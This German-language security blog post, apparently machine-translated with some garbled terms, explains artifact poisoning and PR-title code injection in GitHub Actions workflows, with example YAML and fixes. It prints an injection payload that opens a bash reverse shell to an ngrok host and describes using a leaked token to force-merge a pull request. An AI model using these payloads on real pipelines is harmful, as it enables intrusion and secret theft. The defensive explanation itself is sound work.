Zu früheren Beiträgen (siehe Indirekt vergiftet Pipeline Ausführung I-PPE und Vergiftet Pipeline Ausführung PSA beschäftigten wir uns hauptsächlich mit PSA (Vergiftete Pipeline Ausführung): Wir haben uns die Funktionsweise, die Auswirkungen, einige Ausnutzungsmöglichkeiten sowie einige Möglichkeiten zum Schutz davor angesehen.
Dieser Beitrag befasst sich eingehend mit einigen anderen CI/CD pipeline Schwachstellen wie Artifact Poisoning und Code Injection.
Dabei stützen wir uns in gewisser Weise auf PSA. Lassen Sie uns also eine kurze Zusammenfassung dessen machen, was wir über PSA gesehen haben.
Bisherige Arbeiten an PSA
Zusammenfassend haben wir mit einem einfachen GitHub begonnen pipeline zum Erstellen und Testen von beigesteuertem Code durch eine pull request. Außerdem werden einige Prüfungen definiert, die, wenn sie erfüllt sind, den Code in den Mainstream-Zweig integrieren. Wir haben dies genannt als Szenario #1.
In unserem vorherigen Beitrag haben wir gezeigt, wie diese grundlegende pipeline wurde anfällig für sowohl D-PPE als auch I-PPE.
Wir haben es hinbekommen D-PSA fixieren by Ändern des Triggerereignisses von Pull_Anfrage zu Pull_Anfrage_Zielmachen die pipeline sicher gemäß D-PSA. Als eine Erinnerung, pipelines ausgelöst durch ein pull_request_target Ereignis führt die Basis pipeline Code, nicht der pipeline Code im pull request.
Wir nannten dies Szenario #2.
Als Ergebnis dieser Änderung haben wir gezeigt, dass Szenario Nr. 2 war immer noch anfällig für I-PPE.
Um das Problem zu beheben, haben wir beschlossen die spalten pipeline in zwei:
- Die 1st pipeline (Erstellen Sie CI) würde checke den PR-Code aus (um ihn zu erstellen), erstellen Sie den Build und generieren Sie ein Artefakt.
- Der 2nd pipeline (Test-CI) würde Checken Sie den Basiscode aus (um Shell-Skriptänderungen zu vermeiden) und führen Sie die Originalskripts für das Artefakt aus.
- So synchronisieren Sie das Test-CI pipeline zur Ausführung NACH dem Build CI pipelinewerden wir die verwenden workflow_run auslösen.
Wir nannten dies Szenario #3.
Lassen Sie uns den Code von beiden wiederherstellen pipelines gemäß diesen Änderungen…
1. pipeline (CI erstellen):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2. pipeline (Test-CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Artefaktvergiftung
Gemäß oben CI/CD pipelines:
- pipeline Erstellen Sie CI is Safe zu beiden D-PSA (durch Pull_Anfrage_Ziel) und I-PSA (weil es das Shell-Skript nicht mehr ausführt).
- pipeline Test-CI ist auch Safe zu beiden D-PSA (durch workflow_run) und I-PSA (weil es den Basiscode auscheckt, um das ursprüngliche Shell-Skript zu erhalten)
Lassen Sie uns tiefer in diese „Lösung“ eintauchen.
Pipeline Test-CI lädt das Artefakt als ZIP-Datei herunter.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Nach dem Entpacken führt es das „sichere“ Shell-Skript aus. Warum sage ich „sicheres“ Shell-Skript? Weil in einem vorherigen Schritt das pipeline checkt den „Basis“-Code aus, sodass das Originalskript in den Arbeitsbereichsordner gelegt wird. Wenn also der pipeline führt das Shell-Skript aus, das mit der zuvor heruntergeladenen Binärdatei ausgeführt wird.
Was ist dann Problem mit diesem Ansatz? Das Problem kommt wenn ein Benutzer ein neues pipeline.
Wenn ein Benutzer einen PR öffnet, der eine neue pipeline, GitHub wird das ausführen pipeline (unter bestimmten Bedingungen, wie wir im vorherigen gesehen haben Beitrag).
Vor diesem Hintergrund Was passiert, wenn der Benutzer eine neue pipeline mit demselben Namen wie Build CI? Ja, es ist überraschend, aber Mit GitHub können Sie zwei pipelines mit dem gleichen Namen!!
Denken Sie daran, dass Test CI nach Build CI ausgeführt wird …
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Überraschenderweise gibt es jetzt zwei pipelines mit dem gleichen Namen, die pipeline Test CI wird zweimal ausgeführt: eine nach dem Original pipeline und andere nach dem „neuen“ pipeline.
Wie kann der Hacker dies ausnutzen?
- Erstens kann der böswillige Benutzer das Shell-Skript so ändern, dass das Geheimnis an den vom Hacker kontrollierten Server gesendet wird.
- Zweitens das Neue pipeline enthält eine Zeile zum Kopieren des geänderten Shell-Skripts in das Artefakt → Vergiftung des Artifasct!!!
Wenn der Benutzer einen PR mit diesen Änderungen öffnet, wird das „neue“ pipeline ausgeführt (Hochladen eines vergifteten Artefakts) und das Deploy CI pipeline wird danach ausgeführt, was zu das „modifizierte“ Shell-Skript überschreibt das „ursprüngliche“ Shell-Skript im pipeline Arbeitsplatz.
Wir nennen es Artefaktvergiftungdh das Möglichkeit zur Veränderung (Hacken) der pipeline Logik durch Modifikation einer pipeline Artefakt.
Ein mögliches Sanierung ist ganz einfach: Durch einfaches Entpacken des Artefakts in einen Unterordner des Arbeitsbereichs wird das Überschreiben des „Basis“-Shell-Skripts vermieden..
Code Injection
Können Sie im obigen Code außer der Artefaktvergiftung noch weitere Schwachstellen erkennen?
Lass uns gehen!!
Wie Sie im Code sehen können, pipeline Build CI erstellt die Binärdatei, lädt sie hoch als pipeline Artefakt und lädt außerdem einige zusätzliche Daten hoch: den PR-Titel und die PR-ID.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Warum? Weil zum Zusammenführen des PR, wie Sie unten sehen können, das Test-CI pipeline benötigt die PR-ID, um die GitHub-REST-API aufzurufen, die den PR zusammenführt.
Wie funktioniert das Test-CI pipeline diese PR-ID erhalten? Informationen in Textdateien teilen (Teil einer pipeline Artefakt) ist eine gängige Methode, um Informationen zwischen pipelines. Und genau das ist es, was diese pipelines tun.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Genau genommen wird zum Zusammenführen der PR nur die PR-ID benötigt, aber die pipeline Der Administrator hat entschieden, dass die Build-CI auch den PR-Titel enthält, sodass die Test-CI pipeline würde eine Infonachricht ausdrucken, die sowohl die PR-ID als auch den Titel enthält.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
Der PR-Titel ist immer ein Benutzerdatensatz und muss daher immer als nicht vertrauenswürdig angesehen werden.. Also die pipeline müssen entsprechend behandelt und Schutzmaßnahmen ergriffen werden.
Im obigen Code können wir die spezifische Nachricht sehen, die den PR-Titel wiedergibt. Es ist nur ein „Echo“-Linux-Befehl.
Wenn der Titel ein „Dummy-Titel“ ist, generiert Github durch String-Interpolation intern ein Skript mit
echo ""a dummy title""
Doch was wäre, wenn der PR-Titel etwa so lauten würde:
Böswilliger Titel“ && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Das Skript würde folgendermaßen aussehen:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Dies führt zum Öffnen einer Reverse Shell gegen den vom Hacker kontrollierten Server.
Diese Reverse Shell kann verwendet werden, um auf die pipeline Geheimnisse (denken Sie daran, dass Test CI im privilegierten Modus ausgeführt wird, da es durch workflow_run ausgelöst wird und daher Zugriff auf Geheimnisse hat).
Aber was kann man sonst noch mit dieser Reverse Shell machen?
Sehen Sie sich den CI-Testcode an:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Wie Sie im Test CI sehen können pipeline, der curl merge-Befehl verwendet GITHUB_PAT (definiert als pipeline env var), sodass der Runner GITHUB_PAT als Umgebungsvariable enthält. Darüber hinaus erstellt er auch eine Umgebungsvariable, die die PR-ID liest.
Der Hacker muss also nur den Curl-Befehl kopieren und in die Reverse Shell einfügen, um den PR direkt in den geschützten Zweig einzufügen.
Um all dies zu schützen:
- Zu vermeiden String-Interpolation mit nicht vertrauenswürdigen Daten (anfällig für Code-Injektion) durch Definition pipeline Umgebungsvariablen anstatt es direkt in Echo-Befehlen zu verwenden
Anstatt Folgendes zu verwenden:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Verwenden Sie diese:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Selbst mit einem Code-Injection-Exploit wäre der Befehl curl merge nicht erfolgreich gewesen, wenn Sie richtig schützt Ihre pull requests durch eine obligatorische Überprüfung oder Genehmigung.
Schlussfolgerungen
Es ist irgendwie schwierig zu schützen CI/CD pipelines Konfiguration und erhalten pipelines frei von Schwachstellen.
Das heißt das nicht CI/CD Systeme (wie in diesem Fall GitHub) sind per se anfällig. CI/CD Systeme bieten die Möglichkeit, vor Schwachstellen zu schützen … aber es liegt in der Verantwortung des Administrators, diese Schutzmaßnahmen zu implementieren.
Aber… Sie können eine Schwachstelle nicht beheben, wenn Sie sich ihrer Existenz nicht bewusst sind!!!
Natürlich kann ein hochqualifizierter DevOps-Administrator all diese Bedrohungen im Auge haben und die CI/CD pipelines, aber trotzdem ist es sehr wertvoll, ein Produkt zu verwenden, das all diese Arten von Schwachstellen erkennt. Und natürlich, um diesen Schwachstellen-Erkennungsprozess zu automatisieren (z. B. durch Ausführen des Scans als Teil von CI/CD pipelines).
Dieser Ansatz könnte als „Sicherheits-Tor"
- Erstelle eine neue pipeline (Sicherheitstor) zu überprüfen CI/CD pipelines Schwachstellen und machen die anderen CI pipelines nur nach erfolgreichem Abschluss des Security Gate auszuführen pipeline.
- Das Sicherheitstor pipelines wird prüfen für CI/CD pipelines Schwachstellen und
- Wenn Schwachstellen gefunden werden, wird es fehlschlagen und damit auch die anderen pipelines werden nicht ausgeführt.
- Wenn keine Schwachstellen gefunden werden, pipeline wird gelingen und die anderen pipelines wird wie gewohnt ausgeführt.





